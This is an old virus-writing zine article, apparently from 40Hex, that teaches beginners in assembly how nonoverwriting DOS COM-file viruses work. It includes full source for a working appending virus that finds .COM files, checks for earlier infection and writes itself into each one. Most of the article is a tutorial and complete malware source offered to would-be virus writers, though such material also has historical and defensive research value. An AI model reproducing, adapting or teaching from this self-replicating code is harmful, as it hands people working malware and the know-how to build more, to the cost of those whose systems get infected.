Copy Link
Add to Bookmark
Report
40Hex Issue 07 File 003
40Hex Number 7 Volume 2 Issue 3 File 003
+++++++++++++++++++++++++++++++++++++++
An Introduction to Nonoverwriting Virii
By Dark Angel
+++++++++++++++++++++++++++++++++++++++
It seems that there are quite a few virus writers out there who just sit at
home and churn out hacks of virii. Yay. Anybody with a disassembler and
some free time can churn out dozens of undetectable (unscannable) variants
of any given virus in an hour. Others have not progressed beyond the
overwriting virus, the type of virus with the most limited potential for
spreading. Still others have never written a virus before and would like
to learn. This article is designed as a simple introduction to all
interested to the world of nonoverwriting virii. All that is assumed is a
working knowledge of 80x86 assembly language.
Only the infection of COM files will be treated in this article, since the
infection routine is, I think, easier to understand and certainly easier to
code than that of EXE files. But do not dispair! EXE infections will be
covered in the next issue of 40Hex.
COM files are described by IBM and Microsoft as "memory image files."
Basically, when a COM file is run, the file is loaded as is into memory.
No translation or interpretation of any sort takes place. The following
steps occur when a COM file is run:
1) A PSP is built.
2) The file is loaded directly above the PSP.
3) The program is run starting from the beginning.
The PSP is a 256 byte header storing such vital data as the command line
parametres used to call the program. The file is located starting at
offset 100h of the segment where the program is loaded. Due to the 64K
limit on segment length, COM files may only be a maximum of 64K-100h bytes
long, or 65280 bytes. If you infect a COM file, make sure the final size
is below this amount or the PSP will get corrupted.
Since the beginning of the file is at offset 100h in the segment (this is
the reason for the org 100h at the start of assembly source for com files),
the initial IP is set to 100h. The key to understanding nonoverwriting COM
virii is to remember that once the program is loaded into memory, it can be
changed at will without affecting the actual file on disk.
The strategy of an overwriting virus is to write the virus to the beginning
of the COM file. This, of course, utterly annihilates the original program.
This, of course, is lame. The nonoverwriting virus changes only the first
few bytes and tacks the virus onto the end of the executable. The new
bytes at the beginning of the file cause the program, once loaded, to jump
to the virus code. After the virus is done executing, the original first
few bytes are rewritten to the area starting at 100h and a jmp instruction
is executed to that location (100h). The infected program is none the
worse for the wear and will run without error.
The trick is to find the correct bytes to add to the beginning of the file.
The most common method is to use a JMP instruction followed by a two byte
displacement. Since these three bytes replace three bytes of the original
program, it is important to save these bytes upon infection. The JMP is
encoded with a byte of 0e9h and the displacement is simply the old file
length minus three.
To replace the old bytes, simply use code similar to the following:
mov di, 100h
mov si, offset saved_bytes
movsw
movsb
And to return control to the original program, use the following:
mov di, 100h
jmp di
or any equivalent statements.
When writing nonoverwriting virii, it is important to understand that the
variables used in the code will not be in their original locations. Since
virii are added to the end of the file, you must take the filesize into
account when calculating offsets. The standard procedure is to use the
short combination of statements:
call oldtrick
oldtrick:
pop bp ;bp = current IP
sub bp, offset oldtrick ;subtract from original offset
After these statements have been executed, bp will hold the difference in
the new offsets of the variables from the original. To account for the
difference, make the following substitutions in the viral code:
lea dx, [bp+offset variable]
instead of
mov dx, offset variable
and
mov dx, word ptr [bp+offset variable]
instead of
mov dx, word ptr variable
Alternatively, if you want to save a few bytes and are willing to suffer
some headaches, leave out the sub bp, offset oldtrick and calculate all
offsets as per the procedure above EXCEPT you must now also subtract offset
oldtrick from each of the offsets.
The following is a short nonoverwriting virus which will hopefully help in
your understanding of the techniques explained above. It's sort of cheesy,
since I designed it to be small and easily understandable. In addition to
being inefficient (in terms of size), it fails to preserve file date/time
and will not infect read-only files. However, it serves its purpose well
as a teaching aid.
DumbVirus segment
Assume CS:DumbVirus
Org 100h ; account for PSP
;Dumb Virus - 40Hex demo virus
;Assemble with TASM /m2
Start: db 0e9h ; jmp duh
dw 0
;This is where the virus starts
duh: call next
next: pop bp ; bp holds current location
sub bp, offset next ; calculate net change
;Restore the original first three bytes
lea si, [bp+offset stuff]
mov di, 100h
;Put 100h on the stack for the retn later
;This will allow for the return to the beginning of the file
push di
movsw
movsb
;Change DTA from default (otherwise Findfirst/next will destroy
;commandline parametres
lea dx, [bp+offset dta]
call set_dta
mov ah, 4eh ;Find first
lea dx, [bp+masker] ;search for '*.COM',0
xor cx, cx ;attribute mask - this is unnecessary
tryanother:
int 21h
jc quit ;Quit on error
;Open file for read/write
;Note: This fails on read-only files
mov ax, 3D02h
lea dx, [bp+offset dta+30] ;File name is located in DTA
int 21h
xchg ax, bx
;Read in the first three bytes
mov ah, 3fh
lea dx, [bp+stuff]
mov cx, 3
int 21h
;Check for previous infection
mov ax, word ptr [bp+dta+26] ;ax = filesize
mov cx, word ptr [bp+stuff+1] ;jmp location
add cx, eov - duh + 3 ;convert to filesize
cmp ax, cx ;if same, already infected
jz close ;so quit out of here
;Calculate the offset of the jmp
sub ax, 3 ;ax = filesize - 3
mov word ptr [bp+writebuffer], ax
;Go to the beginning of the file
xor al, al
call f_ptr
;Write the three bytes
mov ah, 40h
mov cx, 3
lea dx, [bp+e9]
int 21h
;Go to the end of the file
mov al, 2
call f_ptr
; And write the rest of the virus
mov ah, 40h
mov cx, eov - duh
lea dx, [bp+duh]
int 21h
close:
mov ah, 3eh
int 21h
;Try infecting another file
mov ah, 4fh ;Find next
jmp short tryanother
;Restore the DTA and return control to the original program
quit: mov dx, 80h ;Restore current DTA to
;the default @ PSP:80h
set_dta:
mov ah, 1ah ;Set disk transfer address
int 21h
retn
f_ptr: mov ah, 42h
xor cx, cx
cwd ;equivalent to: xor dx, dx
int 21h
retn
masker db '*.com',0
;Original three bytes of the infected file
;Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ;End of the virus
;The following variables are stored in the heap space (the area between
;the stack and the code) and are not part of the virus that is written
;to files.
writebuffer dw ? ;Scratch area holding the
;JMP offset
dta db 42 dup (?)
DumbVirus ENDS
END Start
---------------------------------------------------------------------------
Do not worry if not everything makes sense to you just yet. I tried to
keep the example virus as simple as possible, although, admittedly, the
explanations were a bit cryptic. It should all come to you in time.
For a more complete discussion of nonoverwriting virii, pick up a copy of
each of the first three parts of my virus writing guide (the phunky, the
chunky, and the crunchy), where you may find a thorough tutorial on
nonresident virii suitable for any beginning virus programmer.
+++++